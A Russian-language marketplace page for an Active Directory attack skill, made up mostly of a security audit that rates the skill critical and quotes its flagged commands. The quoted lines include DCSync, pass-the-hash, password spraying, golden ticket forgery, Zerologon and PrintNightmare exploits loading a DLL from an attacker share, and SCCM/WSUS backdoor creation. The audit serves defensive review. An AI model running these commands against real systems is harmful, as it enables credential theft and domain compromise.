Навыки active-directory-attacks
📦
active-directory-attacks
Ревизия содержимого r1 Критично ⚙️ Внешние команды🌐 Доступ к сети📁 Доступ к файловой системе
Оценка путей атак в Active Directory
Оценки Active Directory требуют организованных справочных материалов по рабочим процессам атак. Этот skill описывает разведку, злоупотребление учетными данными, атаки Kerberos, пути ретрансляции и продвинутые техники AD для авторизованного тестирования.
Поддерживает: Claude Codex Code(CC)
Не устанавливайте этот Skill автоматически.
Каноническая политика требует проверки оператором перед любым действием по установке.
Установить с помощью моего Агента
Скопируйте этот запрос в своего Агента. Он содержит каноническую страницу Skill и манифест.
Запрос агента
Review the Skillstore skill "active-directory-attacks" from https://skillstore.io/skills/sickn33-active-directory-attacks.md and its manifest at https://skillstore.io/api/skills/sickn33-active-directory-attacks/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Ваш Агент по-прежнему должен показать план и запросить все подтверждения, требуемые политикой безопасности.
Ресурсы для AI-агентов
Используйте эти ссылки, когда AI-агенту, crawler или script нужен чистый контекст вместо полной страницы.
Протестировать
Использование «active-directory-attacks». I need a safe overview before an AD lab assessment.
Ожидаемый результат:
Ответ описывает предварительные требования, письменное разрешение, область тестирования, ограничения блокировки учетных записей, обработку доказательств и ожидания по очистке.
Использование «active-directory-attacks». Help me organize findings from Kerberoasting and relay testing.
Ожидаемый результат:
Ответ группирует находки по технике, затронутым активам, необходимым привилегиям, бизнес-риску и рекомендуемым последующим защитным действиям.
Использование «active-directory-attacks». Prepare a training module for AD attack paths.
Ожидаемый результат:
Ответ создает лабораторно-ориентированный модуль, охватывающий концепции, предварительные требования, ожидаемые наблюдения и границы безопасности без производственных целей.
Аудит безопасности
Критичноv6 • 09.07.2026 Открыть версионный отчет
AI review confirmed that the skill is an offensive Active Directory attack playbook. It includes executable command examples for credential theft, Kerberos ticket forgery, NTLM relay, AD CS abuse, CVE exploitation, lateral movement, persistence, and backdoor deployment. No prompt injection language was found, but the content is unsafe for broad marketplace publication without major defensive rewriting.
2
Просканировано файлов
775
Проанализировано строк
101
Пункты проверки
0
Ложные срабатывания проигнорированы
Подтверждённые проблемы безопасности (33)
Критично
Malware type keywords
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Критично
Malware type keywords
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Критично
Malware type keywords
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Критично
Malware type keywords
MalSCCM.exe app /cleanup /name:backdoor
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Критично
Malware type keywords
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Критично
Offensive Domain Compromise Objective
The skill states outputs that include extracted credentials, Kerberos tickets for impersonation, Domain Administrator access, and persistent access mechanisms.
The deliverables explicitly describe credential theft, privilege escalation, impersonation, and persistence as intended outcomes.
Критично
End-to-End Credential Theft Workflow
The skill chains DCSync, Kerberoasting, ticket forgery, pass-the-hash, and certificate authentication into actionable compromise workflows.
The cited sections provide a coherent path from credential extraction to authentication as privileged users.
Критично
Backdoor Deployment and Persistence Workflow
The advanced reference shows creating malicious applications and updates that add backdoor accounts, then cleaning deployment records.
The section explicitly describes malicious SCCM and WSUS deployment steps that create backdoor access.
Показать все подтверждённые находки (33)
Высокий
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip DC_IP
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Высокий
Certificate/key files
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccach
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Высокий
Certificate/key files
klist -k /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Высокий
Certificate/key files
python3 keytabextract.py /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Высокий
Windows registry access
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The registry modification enables DSRM administrator logon behavior after dumping credentials. This changes Windows authentication behavior for persistence or privilege abuse.
Высокий
Weak cryptographic algorithm
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domai
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Высокий
Weak cryptographic algorithm
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.dom
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Высокий
Weak cryptographic algorithm
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Высокий
Secure file deletion
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The static label is imprecise, but the line changes HKLM DSRM logon behavior in an offensive credential workflow. It remains a confirmed security risk because it enables persistence.
Высокий
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
Высокий
Weak cryptographic algorithm
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.lo
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Высокий
Weak cryptographic algorithm
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
Высокий
Network scanning tools
nmap -sT 10.10.10.10 -p445 --script smb2-time
The nmap command targets SMB on a domain controller address to prepare Kerberos and AD attack workflows. This is active network probing guidance.
Высокий
Authorization Disclaimer Without Enforceable Guardrails
The file includes an authorized-use note, but the rest of the skill provides full attack workflows without refusal criteria or defensive-only fallbacks.
The disclaimer is real, but it does not constrain the actionable offensive content that follows throughout the skill.
Средний
System reconnaissance
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Средний
System reconnaissance
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Средний
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Средний
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Средний
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -pr
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Средний
System reconnaissance
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Средний
Network reconnaissance
Find-LocalAdminAccess -Verbose
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Средний
Network reconnaissance
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Низкий
Network reconnaissance
- ADFS service account access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Низкий
System reconnaissance
- Have valid domain credentials for most attacks
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Низкий
Network reconnaissance
- Domain Administrator access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Пункты проверки возможностей (101)
Это реальные локальные возможности, которые могут ожидаться для этого навыка, поэтому они требуют проверки, но не считаются подтверждённым вредоносным поведением.
Критично
Windows cmd.exe
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
Критично
Windows cmd.exe
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
Высокий
Shell command substitution
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPl
The command creates an attacker-controlled machine account for resource-based constrained delegation. The substitution builds a password object inside an exploitation workflow.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
# PowerShell + DSInternals
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
Высокий
Hardcoded URL
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
Высокий
Hidden file access
/var/lib/sss/secrets/.secrets.mkey
The hidden file path is the SSSD secrets key used for Linux AD credential extraction. The surrounding section explains extracting and reusing authentication secrets.
Высокий
Ruby/shell backtick execution
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Высокий
Ruby/shell backtick execution
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Высокий
Ruby/shell backtick execution
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Высокий
Ruby/shell backtick execution
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Высокий
Ruby/shell backtick execution
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Высокий
Ruby/shell backtick execution
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
Высокий
sudo privilege escalation
sudo date -s "14 APR 2024 18:25:16"
The command indicator appears in executable examples for Active Directory attacks. The skill teaches users how to run offensive tooling, so the risk is confirmed.
Высокий
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
Средний
Temp directory access
ls /tmp/ | grep krb5cc
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
Средний
Temp directory access
export KRB5CCNAME=/tmp/krb5cc_1000
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Средний
Hardcoded IP address
nmap -sT 10.10.10.10 -p445 --script smb2-time
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Средний
Hardcoded IP address
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Факторы риска
⚙️ Внешние команды (50)
